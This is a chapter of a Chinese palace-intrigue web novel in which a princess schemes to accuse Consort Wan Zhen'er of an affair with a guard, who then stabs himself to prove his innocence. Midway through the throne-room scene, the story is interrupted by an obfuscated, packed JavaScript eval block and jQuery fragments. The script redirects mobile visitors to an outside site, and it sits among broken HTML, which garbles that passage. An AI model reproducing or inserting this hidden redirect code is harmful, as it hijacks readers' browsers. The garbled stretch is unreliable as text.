戏台上的伶人正唱到凄绝处,水袖翻飞,哀音绕梁。祝华斜倚在铺了雪白狐裘的圈椅里,像只慵懒又危险的猫,指尖无意识地点着扶手,眼神却飘得极远。
下首的王渺枭,摘去了那副遮住了上半张脸的镂空银面具,露出半截断掉的眉毛,他的右颊有道极深极长的疤痕,从唇边贯到眉尾。
女伶身形摇晃,做踉跄状,撕心裂肺:
“忍!忍!忍!忍到何日方是头?”
“泪已干,骨将朽,恨成狂!”
戏是王渺枭点的,他的目光看似专注地落在戏台上,实则余光半分不离祝华。
祝华眼底一团乌青,板着张脸。身旁的佣人捧着茶盏侍奉,大气不敢出,只敢趁她目光落在戏台时,悄悄调整椅边的熏香。
“这戏里的姑娘,倒真是可怜。”王渺枭慢悠悠开口,声音压低,“被至亲推出去当棋子,连求个帮忙都要看人脸色。”
祝华捻了捻狐裘的绒毛:“王大人倒是怜香惜玉。”
“若换做是我,怕是忍不下这口气。”他话锋一转,手已不动声色地覆上祝华搭在椅子上的手,“我要是见到这位姑娘,定要帮她讨个公道,让那些负心之人百倍偿还。”
靠上手的温度不算低,祝华指尖一颤,眼神赫然如刀:“王大人,爪子不想要了?”
“臣是心疼公主又要以身入局。”王渺枭身子前倾,攥住祝华的手往身上靠,“长公主就不想报复那位万将军?您求他出兵暹瀛解您和亲的事已经传遍了整个京城,殿下丢了面子,没落着丁点好处。他却是连面都没露,只派个副将传话拒绝。”
“我若是您,肯定恼羞急了。”王渺枭笑了笑,眼底藏着狠厉。
祝华看他:“恼急了有何用?最终还不是看圣上的意思。你是觉得事到如今我还能去说服圣上。”
“自然不敢。”王渺枭朝天上拱手,“圣上向来英明。”
“我是他的人,自然不能忤逆圣意,可对付万祁,我倒有一妙计。”王渺枭又笑了笑。
祝华这才侧过头,眼尾上挑,她忽然抬起脚,鞋尖轻轻蹭过王渺枭的膝头,又缓缓向下,停在他腰间。
“什么妙计?”她声音软下来,“若是不好,仔细你的舌头。”
“妙计便是……。”王渺枭凑得更近,气息拂过祝华耳畔,“找到他的软肋。”
王渺枭:“万祁是块硬骨头,啃不动。可是人,总有软肋。他的软肋,不就在这深宫之中,日日承沐皇恩么?”
“你是说,万珍儿?”祝华的鞋尖顿了顿,眼珠转了转,像是想到了什么。
“倒是出好戏。”祝华嘴角勾起一抹冷笑。
“可这事,只我一人怕是难办啊。”那只纤足再度下移,最终悬停在王渺枭脐下三寸,那象征男性尊严的要害上方。
“王大人可愿助我?”戏台上的孤女正举着刀,眼里闪着决绝的光,祝华望着那道光,嗔着发问。
——
御花园的花开得正好,花瓣在微风中簌簌轻颤。
知微躲在假山处,裙摆猛地一沉,被人踩住了。
她踉跄一步,回头便撞见少昭那张惊慌失措的脸。
“阿姐!”少昭像受惊的兔子,飞快缩回脚,眼神却还死死黏住远处的二人,孙为正奉命追着一只嫩黄的蝴蝶,万珍儿跟在他身后,笑声清脆。
知微顿时明了,少昭这是在偷偷跟踪孙为呢?
“少昭。”知微开口,“你可知现在是什么时辰?现在正是江大人讲课的时候,你竟敢旷了学堂,跑来这儿偷看。”
知微刻意压低了声音,好显出几分严厉:“不是你说想多学些东西的吗?我这才去求江大人为你留了个学堂名额。”
求人倒是不假。江覃作为皇帝面前的红人,又是少年及第,风光无限。他为人和善,看宫内不少官宦文化素养低,便自愿开设慈善学堂以教学。
而少昭算不上一官半职,机会自然得求来。
知微在深宫中起起伏伏,也算见过人间冷暖。她无数次感慨,只身穿到这时代,好在有一技傍身。可厨技是她的不是少昭的,恩宠也是她的而非少昭的。
祝隶稷身边待久了,“朝得宠,夕冷待”的事情知微不是没见过,只希望少昭能够自丰羽翼,学些文理,通些生存的诀窍,毕竟自己不能护她一辈子。
“你可知江覃江大人的课在外头可谓是重金难求,人挤破了脑袋都难得学上一回,而你却在这……”知微剜了少昭一眼,“快给我回去上课。”
少昭瑟缩了一下,倔强地咬着唇:“我……我真是路过。”
“还撒谎。”知微一把拽住她的胳膊,将少昭拉到僻静的紫藤花架下,“你当我瞎吗?从静芳苑到学堂,哪条路会经过这御花园,还到了这么隐蔽的深处。”
知微已经不是第一回撞见少昭痴迷的样子,可废了正事来跟踪,这还是头一回。
这回是跟踪,那下回呢,要是直接躲在人家的床下,名声毁了,这还得了?
知微一把拎起少昭的领子,像个教育不成器孩子的母亲。
“你清醒一点,孙为眼里只有万妃娘娘,你守在这里,除了把自己熬干,还能得到什么?”
少昭是个聪明的姑娘,不该守着份无望的感情。
少昭猛地抬起头,声音带着哽咽:“我不求得到什么!”
“我知道、我知道他眼里没有我!可我就是……就是管不住自己的心!”少昭几乎要哭出声来。
“阿姐,你转过身看看,孙大哥,他不也一样吗?他守着万妃娘娘,明知道不可能,不也心甘情愿。被辜负也好,得不到回应也罢,至少……至少我试过了,我认了这份心甘情愿!”
少昭抬手,抹掉眼泪:“我不用他回应,我就想看着他好好的,看着他……开心。就像现在这样。
知微瞧着少昭眼底的红,忽而说不出话,心口像被什么东西狠狠揪了一下。
或许,觉得这世间的情情爱爱,都裹着一层说不清道不明的苦。
有情人不能相守,无情人却死死不放。
“傻丫头……”最终,知微只是长长叹了口气,抬手,用指腹轻轻擦去少昭脸颊的泪痕。
——
午后,静芳苑里静悄悄的。
知微靠在窗边的软榻上小憩,连日伺候祝隶稷心力交瘁,好不容易调班休整,她难得地陷入沉睡。
“晏尚宫!晏尚宫!”平海尖细焦急的声音像一把锥子,猛地刺破宁静。
“陛下急召!说是让您前往养心殿。”
知微惊醒,还未完全清醒,就被平海连拉带拽地往外走。
她只能边走边匆匆整理衣襟,跟着平海疾步奔向养心殿。
越靠近,那股凝重的气氛便越压得人喘不过气。殿门大开,里面静得可怕。
祝隶稷坐在龙椅上,指节捏着奏折,脸色阴沉。祝华站在他身侧,嘴角勾着挑衅的笑,目光落在跪在地上的人身上。
万珍儿神情空洞,头发散乱,大抵是被架来的,手腕还有反抗留下的红痕。
“陛下,臣妾冤枉!”万珍儿的声音带着颤,“长公主说臣妾与孙侍卫有染,纯属诬告!”
知微大惊。
“诬告?”祝华冷笑抬手,身后的内侍押着个侍女上前。
那是万珍儿的贴身侍女之一,此刻低垂着头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365504|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你的侍女都招了,说亲眼看见你和那侍卫私会,还一起做了花灯,怎么,这也是诬告?”
闻祝华声,那侍女扑通跪下,磕着头道:“陛下饶命!是……是奴婢亲眼所见,万妃娘娘和孙侍卫,确实不清不楚!”
“你胡说!”另一个侍女冲上来,正是似玉,她扯住那侍女的衣袖,“你怎敢污蔑主子!”
“我的证人,你也敢碰?”祝华话音刚落,万珍儿一巴掌甩在似玉脸上。清脆的响声在殿内回荡,似玉捂着脸,眼里满是震惊。
万珍儿别过头,声音发紧:“没你的事,退下!”
祝隶稷猛地拍案,龙椅发出沉闷的响:“够了。”
“把你们叫来,就是想理清这事,谁委屈谁清白,一究便知。”
祝隶稷的目光突然转向知微,带着审视的冷意:“你与万珍儿走得近,你说说,她与那侍卫之间,到底有无异常?”
“可不能袒护,否则便是恶意隐瞒,要犯大忌的。”祝华在旁继续掺言。
好几秒,知微的心提到了嗓子眼,支吾也不是,更不敢坦诚。
她当然知道万珍儿和孙为的事,知道他们有情,私底下更是偷偷见面,可孙为识相,两人定是不存在逾矩的。
但,眼下她又能说些什么呢,说不知情?像是在刻意撇清关系,万珍儿怕也是性命难保,若是不说,祝隶稷的怒火,不定会烧到她身上。
她攥紧手心,额角渗出冷汗,过去好些秒,她的大脑仍是一片空白。
正当她不得不开口时,殿外突然传来骚动。
几个侍卫抬着个人进来,那人浑身是伤,鼻青脸肿,头发被血黏在额头上,竟是孙为。
孙为被扔在地上,发出沉闷的响。他挣扎着抬起头,目光扫过殿内,最后落在万珍儿身。
祝华看着他这副模样,怒火更盛:“贱奴!你胆大包天,竟敢与后妃私通,你可知罪?”
孙为趴在地上,咳了几声,嘴角溢出鲜血。他缓缓抬起手,从怀里掏出一把小巧的匕首,寒光一闪。
平海见状,大喊护驾。
侍卫们瞬间围上来,刀剑出鞘,直指孙为。
万珍儿猛地抬头,眼里满是惊慌,却不敢说任何一句话。还是知微开口,叫孙为冷静。
孙为却没动,只是颤巍巍地站起来,匕首握在手里,没指向任何人。
他隔着层层侍卫注视着祝隶稷,声音沙哑清晰:“陛下,臣与万妃清清白白,长公主怕是误会了什么。”
“臣还记得,当年在蜀郡军营,臣还是个伙夫,陛下您亲自带兵,说,军人当忠君爱国,不可行不义之事。臣一直记着您的话,怎么敢做出这等苟且之事?”
孙为顿了顿,目光扫过祝华,继续道:“臣不过是替晏尚食给万妃送信,信里全是家常话,何来私通一说?长公主若是不信,可去静芳苑查,臣这儿还有送信的凭证。”
祝隶稷皱着眉,没说话。祝华却冷笑:“凭证?谁知道你是不是早就串通好了!”
孙为的身子晃了晃,竟也不自觉仰天,唇角露出诡异的弧度。
“臣知道,空口无凭,陛下不会信。”他举起匕首,刀尖对着自己的下腹,对准自己的□□。
“臣只有一个办法,证明臣的清白。”
知微像是想到了什么,脸色骤变,尖声道:“不要!”
可已经晚了。
孙为闭上眼,猛地将匕首刺了下去。鲜血瞬间染红了他的衣袍,凄厉的哀嚎声在养心殿内回荡,震得人耳膜发疼。他倒在地上,匕首滚在一旁,眼里却带着一丝解脱。
所幸,万珍儿自始至终,没为他说过一句话。